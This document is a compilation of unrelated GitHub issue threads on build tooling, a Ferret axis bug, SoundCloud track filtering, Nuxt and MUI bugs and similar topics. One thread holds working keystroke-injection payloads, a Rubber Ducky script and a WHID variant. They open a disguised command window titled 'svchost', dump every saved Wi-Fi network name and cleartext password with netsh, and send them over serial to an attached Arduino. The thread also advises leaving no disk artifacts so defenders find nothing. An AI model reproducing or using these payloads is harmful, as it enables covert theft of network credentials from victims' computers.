Consider you built a workspace with ament build and then you wanted to build a single CMake package by hand on top of that (find_package'ing something in the workspace). After sourcing the setup.*sh file of the workspace, your single package would fail because the workspace is not on the CMAKE_PREFIX_PATH. This is the case because currently workspace prefixes are added to the CMAKE_PREFIX_PATH by the build tool. So you need to manually extend the CMAKE_PREFIX_PATH in order to build your single package. It happens that you can just extend it with the AMENT_PREFIX_PATH, but that's not an obvious step and if we move beyond just CMake packages in the workspace a potentially more complex step.
This usability issue is what lead me to think about and suggest this enhancement.

The current method over exposes workspaces to build variables like the CMAKE_PREFIX_PATH.

Because of the logic here:
https://github.com/ament/ament_tools/blob/release-alpha3/ament_tools/build_types/cmake.py#L376-L377
Every workspace prefix on the AMENT_PREFIX_PATH gets added to the CMAKE_PREFIX_PATH, even if those workspaces do not contain CMake packages. This commonly happens when doing an isolated build where every package is installed to its own workspace. For example, sourcing the local_setup.sh of an isolated build yields a AMENT_PREFIX_PATH with a separate entry for each package, and so adding the AMENT_PREFIX_PATH in whole to the CMAKE_PREFIX_PATH unnecessarily adds folders which do not contain CMake packages. Again this isn't a big issue in practice, but it is not conceptually consistent and it might hide subtle bugs by putting packages on the CMAKE_PREFIX_PATH that shouldn't be.

My proposal is two fold:

First introduce build only environment hooks for packages.

These would work just like normal environment hooks except they would not get sourced by local_setup.sh, but instead would get sourced by a new local_build_setup.sh. This would also mean that in order to use a workspace (just run things out of it) you'd continue to source the setup.*sh file in the root of the workspace, but to build on top of it you'd source the build_setup.*sh file which would source the setup.*sh file as well as do any package specific work needed to build on top of the packages in the workspace. The availability of the build_setup.*sh files would, in my opinion, address the usability issue described in the 2nd point from above.
These would allow packages to extend their build environment in arbitrary ways on a per package basis, which addresses both issues 1 and 3 from above.

Use this feature in the build tool rather than manually extending certain variables within the build tool based only on the build type.

For example:

https://github.com/ament/ament_tools/blob/release-alpha3/ament_tools/build_types/cmake.py#L350-L351
https://github.com/ament/ament_tools/blob/release-alpha3/ament_tools/build_types/cmake.py#L376-L377

Like I said, this isn't necessary right now, but I just wanted to capture the idea in case we want to do it in the future. Hopefully it is complete enough that someone could pick it up and run with it.

Closing since the repo is archived.


SET AXIS/T0=    should change the axis to a calendar axis.

Reported by ansley b manke on 23 Oct 2008 21:08 UTC
The documentation under SET AXIS claims that SET AXIS/T0  will change axis behavior to a formatted-calendar axis:
http://ferret.pmel.noaa.gov/Ferret/documentation/users-guide/commands-reference/SET#_VPINDEXENTRY_1582
SET AXIS/T0

 If /T0 is applied to an axis that did not previously have a time origin, the axis will become a calendar-formatted axis, with time coordinates automatically translated into date/time strings on listings, and formatted time axes on plots.

But this is not always the case, going back to when SET AXIS/T0 was added at approximately Ferret v5.70.
This file has a time axis with a calendar attribute that Ferret doesn't recognize (though it should!  I'll report this elsewhere).  We would like to be able to fix up the axis and keep the coordinates, with a SET AXIS/T0= /UNITS= /CALENDAR=
but instead we have to use a DEFINE AXIS/T/T0= /UNITS= /CALENDAR=   TIME=t[gt=TIME]
yes?  use "http://esgcet.llnl.gov/cgi-bin/dap-cgi.py/ipcc4/20c3m/giss_aom/pcmdi.ipcc4.giss_aom.20c3m.run1.atm.mo.xml"
 *** NOTE: calendar attribute on axis "TIME" is not recognized: PROLEPTIC_GREGORIAN
 *** NOTE: Valid calendars are GREGORIAN NOLEAP    JULIAN    360_DAY   ALL_LEAP
 *** NOTE: A dummy axis of subscripts will be used
...
yes? sh grid tauu
    GRID GJJ3
 name       axis              # pts   start                end
 LON       LONGITUDE           90mr   2E                   2W
 LAT       LATITUDE            60 r   88.5S                88.5N
 normal    Z
 TIME      T                 1812 r   1                    1812

! Try to fix up the axis with SET AXIS
yes? show attr/all (TIME)
     attributes for dataset: http://esgcet.llnl.gov/cgi-bin/dap-cgi.py/ipcc4/20c3m/giss_aom/pcmdi.ipcc4.giss_aom.20c3m.run1.atm.mo.xml
 (time).units = days since 1850-1-1
 (time).calendar = proleptic_gregorian
 (time).bounds = time_bnds
 (time).orig_file_axname = time

yes? set axis/units=days/t0="1-jan-1850:00:00" TIME
yes? sh grid tauu
    GRID GJJ3
 name       axis              # pts   start                end
 LON       LONGITUDE           90mr   2E                   2W
 LAT       LATITUDE            60 r   88.5S                88.5N
 normal    Z
 time      T (DAYS)          1812 r   1                    1812

I'll attach a small file with the same error: an un-recognized calendar attribute.
NOTE if we just define a time axis without calendar units in a Ferret session and then do a SET AXIS/T0=  then the axis does become a calendar axis:
yes? define axis/t=1:5:1 tt
yes? sh axis tt
 name       axis              # pts   start                end
 TT        T                    5 r   1                    5
   Axis span (to cell edges) = 5
yes?  set axis/t0=1-jan-1990/units=days tt
yes? sh axis tt
 name       axis              # pts   start                end
 TT        TIME                 5 r   02-JAN-1990 00:00    06-JAN-1990 00:00
T0 = 1-JAN-1990
   Axis span (to cell edges) = 5

Migrated-From: http://dunkel.pmel.noaa.gov/trac/ferret/ticket/1606

Attachment from ansley.b.manke on 23 Oct 2008 21:08 UTC
use this file instead of the DODS url in the report
REPLACE THIS TEXT WITH UPLOADED FILE ./attachments/TRAC_1606_GIT_878/atime.nc


only display user's public tracks in track dropdown

I logged into soundcloud w/ my maedels w/ a microphone account & noticed that some of our private tracks were also displayed in the track selection dropdown. We should remove these - because even associating them to a place probably won't do anything since they're not public anyway.....

@nynnejc if you get the client client = SoundCloud.new(:access_token => session[:access_token_hash]["access_token"])  and then from there call client.get('/me/tracks') you get a list of tracks for your user. In the json that's returned you can see "sharing" => "public" (see example below). If a user has a private track, sharing will be set to private.
[{"kind"=>"track",
  "id"=>120767789,
  "created_at"=>"2013/11/18 20:43:57 +0000",
  "user_id"=>8242020,
  "duration"=>20638,
  "commentable"=>true,
  "state"=>"finished",
  "original_content_size"=>3627918,
  "last_modified"=>"2016/03/21 10:19:28 +0000",
  "sharing"=>"public",
  "tag_list"=>"waterfall travel outdoors water winter cold",
  "permalink"=>"sounds-seljalandsfoss",
  "streamable"=>true,
  "embeddable_by"=>"all",
  "downloadable"=>true,
  "purchase_url"=>nil,
  "label_id"=>nil,
  "purchase_title"=>nil,
  "genre"=>"iceland",
  "title"=>"Sounds - Seljalandsfoss waterfall in Iceland",
  "description"=>"",
  "label_name"=>"",
  "release"=>"",
  "track_type"=>"",
  "key_signature"=>"",
  "isrc"=>"",
  "video_url"=>nil,
  "bpm"=>nil,
  "release_year"=>nil,
  "release_month"=>nil,
  "release_day"=>nil,
  "original_format"=>"wav",
  "license"=>"cc-by-nc-sa",
  "uri"=>"https://api.soundcloud.com/tracks/120767789",
  "user"=> etc... blahblah blah....

I guess the sharing attribute is the information you would need to somehow grab a hold of in order to do this ticket.  Maybe you can do something like this & pop it in somewhere... (warning, this is untested pseudocode)
tracks_to_share = [ ]
client.get('/me/tracks').each do |tracks|
   tracks_to_share << tracks["sharing"] == 'public'
end

Does that make sense? Let me know if it's total nonsense & we can go over it next friday/over slack/some other time etc...
woot!!!

@nynnejc just some more context here: I was playing around w/ the app & tried to make a sounddrop w/ a private track of mine & the api returns a 404 can't find error when you do that. So this is additionally important because we don't have access to private tracks via the api (but oddly enough the api will still show them to us....)

closed via #95


When using pageTransition, quickly switching pages will result in an error

Environment

Operating System: Windows_NT
Node Version:     v16.18.0
Nuxt Version:     3.0.0
Nitro Version:    1.0.0
Package Manager<EMAIL_ADDRESS>Builder:          vite
User Config:      app, modules, css
Runtime Modules:  -
Build Modules:    -

Reproduction
https://stackblitz.com/edit/github-fqnyif?file=app.vue
Describe the bug
When using pageTransition, mode=out in is configured, the page jump will get a gorgeous special effect (0.6s). At this time, if you quickly switch between two different pages, the console will report an error and the page jump cannot continue. The error message is as follows: Uncaught DOMException: Node insertBefore: Child to insert before is not a child of this node
css:
  .page-enter-active, .page-leave-active {
    transition: all 0.6s;
  }

  .page-enter-from, .page-leave-to {
    opacity: 0;
    filter: blur(4px);
  }

nuxt.config.js:
app {
  pageTransition: { name: 'page', mode: 'out-in' }
}

Additional context
No response
Logs
No response

localhost_3000_about.webm
Is this still not fixed in Nuxt 3 @danielroe? I made a very simple transition between two pages, but they still overlap each other and don't wait for the animation to finish first.
pages/about/index.vue

<template>

About

    <NuxtLink href="/projects">Projects</NuxtLink>

</template>

pages/projects/index.vue

<template>

Projects.

    <NuxtLink href="/about">About</NuxtLink>

</template>


Prerequisites and cabal sandbox

The addition of the cabal sandbox section has dropped the prerequisite sections, was this on purpose or an oversight?
@quchen should the cabal sandbox build, install alex and shake as well?

The .cabal lists Shake as a dependency. I didn't even know it also came with an executable! I'm not sure what the latter would be useful for in terms of this project.
I've removed the section because I thought it was unhelpful in its current form, not because I think it's not useful in general. See my comment here.
I think the ideal solution would be having a script that checks all the prerequisites before running the build system, detailing what's missing in order to

build GHC in general; this would include errors if Alex or Happy or GHC are not installed
build GHC-Shake; this part may be unnecessary, since we can auto-install everything in a sandbox (which is what the build.cabal.sh script currently does).

I see. I completely missed that comment. I would still like to have
an exhaustive list of prerequisites, until we have a script that checks
for them. What would you consider essential?

On Dec 25, 2015, at 5:21 PM, David Luposchainsky<EMAIL_ADDRESS>wrote:
The .cabal lists Shake as a dependency. I didn't even know it also came with an executable! I'm not sure what the latter would be useful for in terms of this project.
I've removed the section because I thought it was unhelpful in its current form, not because I think it's not useful in general. See my comment here.
I think the ideal solution would be having a script that checks all the prerequisites before running the build system, detailing what's missing in order to
• build GHC in general; this would include errors if Alex or Happy or GHC are not installed
• build GHC-Shake; this part may be unnecessary, since we can auto-install everything in a sandbox (which is what the build.cabal.sh script currently does).
—
Reply to this email directly or view it on GitHub.

So given a completely blank starting point, what would one need to initiate the first build?

@angerman The GHC building guide talks about this: https://ghc.haskell.org/trac/ghc/wiki/Building/Preparation

So, the exhaustive list of prerequisites is something like this: Everything listed in shaking-up-ghc.cabal and whatever else the GHC building guide mentions. Is that correct?

That sounds like it should get someone completely new to the project get started. :+1:


Breadcrumbs maxItems not work

Breadcrumbs maxItem different values show only 2 items

The issue has been closed because it does not conform to our issue requirements.
Please provide a minimal reproduction test case. This would help a lot 👷 .
A live example would be perfect. This codesandbox.io template may be a good starting point. Thank you!

Hi, same issue here => https://codesandbox.io/s/unruffled-star-n5geug?file=/src/App.js
<Breadcrumbs maxItems={5}>
      <Typography color={"grey"}>1111</Typography>
      <Typography color={"grey"}>2222</Typography>
      <Typography color={"grey"}>3333</Typography>
      <Typography color={"grey"}>4444</Typography>
      <Typography color={"grey"}>5555</Typography>
      <Typography color={"grey"}>6666</Typography>
      <Typography color={"grey"}>7777</Typography>
      <Typography color="text.primary">8888</Typography>
</Breadcrumbs>

or it works but I don't get what does the maxItems parameter.

Ok, I think I get how it works.
If the path contains more than maxItems, the breadcrums is collapsed.
I thought that this parameter defined how many items are displayed in the collapse view.


Implement AnyLifetime for floats

... to simplify implementation of floats in starlark-rust.

Thanks! This looks great. I'll land it shortly once it passes some internal tests (but given the diff, that's just a formality)

No worries, there's no rush. I've been using a local copy for development.

Thanks very much! I suggest I defer on making a release until you've got the Starlark pieces ready, in case you need to do any further Gazebo changes. But let me know once you think you are finished in Gazebo world.

@ndmitchell It looks like I'm done in Gazebo world (almost done with float implementation).

Thanks! I'll make a release

Version 0.4.2 released, and I've bumped Starlark to require the new version


Make it possible to manipulate cookies directly (e.g. clear a session or add one special cookie)

I believe this is already possible through the Reqwest client. See the documentation which currently provides examples for setting a custom user agent and custom headers:
https://docs.rs/goose/*/goose/goose/struct.GooseUser.html#method.set_client_builder
I think this issue just needs more examples in the documentation, specifically around working with cookies in the client.


Updating plugin moves it in the sidebars

I like "quiet outline" to be in be in bottom of my left sidebar.  Every time I update it to a new version, it gets moved to the top of the right sidebar.  Not a show stopper, but annoying.

Previously, many people wanted the outline panel to open immediately when launching the plugin (see the issues about "why I don't have an outline panel here"), so this was set in later implementations.
This conflicts with your needs, because if the panel opens immediately when you start the plugin, you need to set a default position, which is the right sidebar. When you update the plugin, it is equivalent to closing and opening the plugin, so the outline panel will return to its "default position".
Both needs are valid, but it's not possible to fulfill both at the moment. I'll keep an eye on this until it has a good solution

see release message in 0.3.35

Thanks


Add option to change PlayBack Rate

Hi, it would be great to have this feature implemented where a user is able to change the playback speed of a video.

See #101


Dashboard tile: Accept other assets

Phrase it in a way for newbies to know that in order to accept other assets, they have to trust some anchors

Maybe this should just be the "deposit" tab?

Yeah, the term Add trust is really confusing. Maybe instead, we could use the word Activate.
So initially, there is no send and receive button. Instead, it just says Activate. Once they press activate, trust will be added and then the send and receive buttons show.


Update README

[skip ci]

So we will need an admin's force-merge.

Meh, looks like CI got scheduled :/


DOC: Added more specific example to floating ip

@dereknoblej I think one needs signed commits for merging? GitHub says on this PR that it has blocked merging because the base branch requires signing of all commits. (This looked like a logical place to add info on shared floating IP/virtual IP)

merged other pr - closing this one.


[Suggestion] Possible Windows serial exfiltration improvement

for /F %p in ('powershell "( Get-WmiObject Win32_SerialPort | Where { $_.Description -like '*Arduino Leonardo*' } | select -first 1 ).DeviceID"') do echo "Hello world" >\\.\%p

Based on:
https://batchloaf.wordpress.com/2013/02/12/simple-trick-for-sending-characters-to-a-serial-port-in-windows/
https://empegbbs.com/ubbthreads.php/topics/352223/Re:_Windows_command_to_quickly#Post352223

Here's example of a one-liner that sends all saved access point names and their passwords through serial using this method.
for /F %a in ('powershell "( Get-WmiObject Win32_SerialPort | Where { $_.Description -like '*Arduino Leonardo*' } | select -first 1 ).DeviceID"') do cmd /V /C "set com=%a&& for /F "tokens=2 delims=:" %s in ('netsh wlan show profiles') do for /F "tokens=2 delims=:" %p in ('netsh wlan show profiles %s key^=clear ^| findstr "Key Content"') do echo %s - %p >\\.\%a"

Based on:
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/WiFi-password-Grabber-2-(Windows-10)
Instead of using files to parse the password it uses "tokens=2 delims=:" parameter to do it on a single line.

Nice!
If you make a Pull-Request with the full payload file (example: https://github.com/whid-injector/WHID/blob/master/Payloads/WinSerialExfil.txt) I will more than happy to approve the PR.

I played with it a bit and I noticed it wasn't perfect, it appeared that multiple consecutive echo %s - %p >\\.\%a" commands didn't work (some got lost). What fixed it was a small delay using "hacky" echo %s - %p >\\.\%a & ping <IP_ADDRESS> -n 1 -w 300 > nul" (where ping is there just for the sake of creating 300ms delay between each "echo" call).  So I changed the payload to actually create 1 file (called p.png) and delete it afterwards, just so all of the access point names + passwords get sent all at once.
So, here's the ducky script (was tested):
REM Target: Windows 10
REM Version: 1
REM Description: Opens cmd promt, hides it (resize + gray color), gets all saved access point names with their passwords and sends them through serial to Arduino (Leonardo/Pro Micro).

REM Author: Michal Borowski
REM Based on the following resources:
REM 	Idea (Luca Bongiorni): https://github.com/whid-injector/WHID/blob/master/Payloads/WinSerialExfil.txt
REM 	Sending serial data (Ted Burke): https://batchloaf.wordpress.com/2013/02/12/simple-trick-for-sending-characters-to-a-serial-port-in-windows/
REM 	Getting serial port name (Roger): https://empegbbs.com/ubbthreads.php/topics/352223/Re:_Windows_command_to_quickly#Post352223
REM 	Wifi password grabbing (ramirovargas077, TakoTenshi): https://github.com/hak5darren/USB-Rubber-Ducky/wiki/WiFi-password-Grabber-2-(Windows-10)

GUI r
DELAY 500
STRING cmd
ENTER
DELAY 500
STRING echo off & mode 20,1 & title svchost & color 78 & cls
ENTER
DELAY 200
STRING for /F %a in ('powershell "( Get-WmiObject Win32_SerialPort | Where { $_.Description -like '*Arduino Leonardo*' } | select -first 1 ).DeviceID"') do cmd /C "for /F "tokens=2 delims=:" %s in ('netsh wlan show profiles') do for /F "tokens=2 delims=:" %p in ('netsh wlan show profiles %s key^=clear ^| findstr "Key Content"') do echo %s -%p >> p.png" & type p.png >\\.\%a & del /f p.png & exit
ENTER

And here it is adapted to resemble the WinSerialExfil.txt (wasn't tested)
DefaultDelay:50
CustomDelay:3000
Press:131+114
CustomDelay:500
PrintLine:cmd
CustomDelay:500
PrintLine:echo off & mode 20,1 & title svchost & color 78 & cls
CustomDelay:200
PrintLine:for /F %a in ('powershell "( Get-WmiObject Win32_SerialPort | Where { $_.Description -like '*Arduino Leonardo*' } | select -first 1 ).DeviceID"') do cmd /C "for /F "tokens=2 delims=:" %s in ('netsh wlan show profiles') do for /F "tokens=2 delims=:" %p in ('netsh wlan show profiles %s key^=clear ^| findstr "Key Content"') do echo %s -%p >> p.png" & type p.png >\\.\%a & del /f p.png & exit

I think it would be a good idea to test the adapted version before issuing the pull request though, I'll probably do it myself later today but just in case if not then the thing is here for anyone that is willing to do that.

Looks cool!
Though, I would not touch the disk because it would leave artifacts that Blue Team can work on.
When I will have time I will try to play with your payload approach and see if we can avoid toughing the disk.


some modified for linkvoice and xr871

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.zhangtian seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.


Filter assignees to current repo

Issue Description
Type: feature request
Describe what happened (or what feature you want)
When assigning a user to a PR or Issue it searches for all users on Github. Is it possible to only show users with access to your repo? Like in the Github Web UI you only get relevant users in the dropdown and not everyone on Github.
Hopefully it would speed it up a little bit as well :)

Hello, do we have any news on this? The speed is really a problem in this case.

I was playing around with the GraphQL API and found this query which might be useful for at least filtering out some users
{
  repository(owner: "<owner>", name: "<repo>") {
    mentionableUsers(first: 100) {
      pageInfo {
        hasNextPage
        endCursor
        startCursor
      }
      nodes {
        login
      }
    }
  }
}